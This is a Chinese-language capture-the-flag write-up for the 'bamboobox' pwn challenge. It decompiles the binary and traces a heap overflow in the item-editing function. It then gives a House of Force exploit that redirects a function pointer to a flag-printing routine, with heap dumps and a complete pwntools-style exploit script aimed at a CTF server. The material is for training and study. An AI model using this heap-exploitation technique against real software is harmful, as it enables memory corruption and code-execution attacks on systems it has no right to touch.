hitcontraining_bamboobox 堆技巧 House of Force
常规检查
逆向分析
There is a box with magic
what do you want to do in the box
----------------------------
Bamboobox Menu
----------------------------
1.show the items in the box
2.add a new item
3.change the item in the box
4.remove the item in the box
5.exit
----------------------------
Your choice:
add 函数
__int64 add_item()
{
signed int i; // [rsp+4h] [rbp-1Ch]
int v2; // [rsp+8h] [rbp-18h]
char buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
if ( num > 99 )
{
puts("the box is full");
}
else
{
printf("Please enter the length of item name:");
read(0, &buf, 8uLL);
v2 = atoi(&buf);
if ( !v2 )
{
puts("invaild length");
return 0LL;
}
for ( i = 0; i <= 99; ++i )
{
if ( !qword_6020C8[2 * i] )
{
*(&itemlist + 4 * i) = v2;
qword_6020C8[2 * i] = malloc(v2);
printf("Please enter the name of item:");
*(qword_6020C8[2 * i] + read(0, qword_6020C8[2 * i], v2)) = 0;
++num;
return 0LL;
}
}
}
return 0LL;
}
- *(&itemlist + 4 * i):存放 name 的大小
- qword_6020C8[2 * i]:存放 chunk 的地址
show 函数
int show_item()
{
signed int i; // [rsp+Ch] [rbp-4h]
if ( !num )
return puts("No item in the box");
for ( i = 0; i <= 99; ++i )
{
if ( qword_6020C8[2 * i] )
printf("%d : %s", i, qword_6020C8[2 * i]);
}
return puts(byte_401089);
}
打印对应块的 mem 内容。
change 函数
unsigned __int64 change_item()
{
int v0; // ST08_4
int v2; // [rsp+4h] [rbp-2Ch]
char buf; // [rsp+10h] [rbp-20h]
char nptr; // [rsp+20h] [rbp-10h]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
if ( num )
{
printf("Please enter the index of item:");
read(0, &buf, 8uLL);
v2 = atoi(&buf);
if ( qword_6020C8[2 * v2] )
{
printf("Please enter the length of item name:", &buf);
read(0, &nptr, 8uLL);
v0 = atoi(&nptr);
printf("Please enter the new name of the item:", &nptr);
*(qword_6020C8[2 * v2] + read(0, qword_6020C8[2 * v2], v0)) = 0;
}
else
{
puts("invaild index");
}
}
else
{
puts("No item in the box");
}
return __readfsqword(0x28u) ^ v5;
}
这里对输入的 size 没有做限制,所以我们只要输入的 size 比 add 时大,就会造成堆溢出。
remove 函数
unsigned __int64 remove_item()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
if ( num )
{
printf("Please enter the index of item:");
read(0, &buf, 8uLL);
v1 = atoi(&buf);
if ( qword_6020C8[2 * v1] )
{
free(qword_6020C8[2 * v1]);
qword_6020C8[2 * v1] = 0LL;
*(&itemlist + 4 * v1) = 0;
puts("remove successful!!");
--num;
}
else
{
puts("invaild index");
}
}
else
{
puts("No item in the box");
}
return __readfsqword(0x28u) ^ v3;
}
chunk 指针和内容都被置 0 ,不存在利用漏洞。
magic 函数
id __noreturn magic()
{
int fd; // ST0C_4
char buf; // [rsp+10h] [rbp-70h]
unsigned __int64 v2; // [rsp+78h] [rbp-8h]
v2 = __readfsqword(0x28u);
fd = open("/home/bamboobox/flag", 0);
read(fd, &buf, 0x64uLL);
close(fd);
printf("%s", &buf);
exit(0);
}
magic 函数可以打印出 flag 。
main 函数
case 5:
(v3[1])(&buf, &buf);
exit(0);
return;
当我们选择 5 退出时,函数会调用一次 v3[1] ,这个地方之前被写入了 goodbye_message 的函数地址,所以我们只要想办法把这个 v3[1] 覆盖为 magic 函数就能 get flag。
利用思路
1.通过 House of Force 攻击,将将 top chunk 的地址移到记录 goobdye_message 的 chunk 0 的地址。
2.再次请求堆块,我们就能分配到 chunk 0 。
3.我们改写 goodbye_message 为 magic 的地址。
4.输入 5 触发 v3[1] 的调用,就能 get flag。
利用过程
add(0x30,'aaaa')
此时内存 heap 如下
0x22db000 FASTBIN { chunk 0
prev_size = 0x0,
size = 0x21,
fd = 0x400896 <hello_message>,
bk = 0x4008b1 <goodbye_message>,
fd_nextsize = 0x0,
bk_nextsize = 0x41
}
0x22db020 FASTBIN { chunk 1
prev_size = 0x0,
size = 0x41,
fd = 0xa61616161,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x22db060 PREV_INUSE { top chunk
prev_size = 0x0,
size = 0x20fa1,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
我们可以看到,top chunk 到 chunk 0 的偏移为 -0x60 ,使用 house of force 技巧,我们需要绕过 request2size(req) 宏,这里由于 -0x60 是16字节对齐的,所以只要减去 SIZE_SZ 和 MALLOC_ALIGN_MASK 大小即可得出需要 malloc 的大小,然后我们再次分配就能分配到 chunk 0 处。
payload = 0x30 * 'a'
payload += 'a' * 8 + p64(0xffffffffffffffff)
edit(0,0x41,payload)
offset_to_heap_base = -(0x40 + 0x20)
malloc_size = offset_to_heap_base - 0x8 -0xf
add(malloc_size,'aaaa')
add(0x10,p64(magic) * 2)
我们可以看到,我们已经成功覆盖 goodbye_message 为 magic 的地址。
0x25b4000 FASTBIN {
prev_size = 0x0,
size = 0x21,
fd = 0x400d49 <magic>,
bk = 0x400d49 <magic>,
fd_nextsize = 0x0,
bk_nextsize = 0x39
}
0x25b4020 PREV_INUSE {
prev_size = 0x0,
size = 0x39,
fd = 0x6161616161616161,
bk = 0x6161616161616161,
fd_nextsize = 0x6161616161616161,
bk_nextsize = 0x6161616161616161
}
0x25b4058 PREV_INUSE {
prev_size = 0x6161616161616161,
size = 0x6161616161616161,
fd = 0xffffffffffffa1,
bk = 0xa,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
最后使 v3[1] 触发就能 get flag 。
exp 脚本
from pwn_debug import *
context.log_level = 'debug'
pdbg = pwn_debug('bamboobox')
pdbg.local()
pdbg.remote('node3.buuoj.cn',29127)
r = pdbg.run('remote')
def add(length,name):
r.recvuntil(":")
r.sendline('2')
r.recvuntil(':')
r.sendline(str(length))
r.recvuntil(":")
r.sendline(name)
def edit(idx,length,name):
r.recvuntil(':')
r.sendline('3')
r.recvuntil(":")
r.sendline(str(idx))
r.recvuntil(":")
r.sendline(str(length))
r.recvuntil(':')
r.sendline(name)
def remove(idx):
r.revcuntil(":")
r.sendline("4")
r.recvuntil(":")
r.sendline(str(idx))
def show():
r.recvuntil(":")
r.sendline("1")
magic = 0x400d49
add(0x30,'aaaa')
#gdb.attach(r)
payload = 0x30 * 'a'
payload += 'a' * 8 + p64(0xffffffffffffffff)
edit(0,0x41,payload)
offset_to_heap_base = -(0x40 + 0x20)
malloc_size = offset_to_heap_base - 0x8 -0xf
add(malloc_size,'aaaa')
add(0x10,p64(magic) * 2)
#gdb.attach(r)
r.interactive()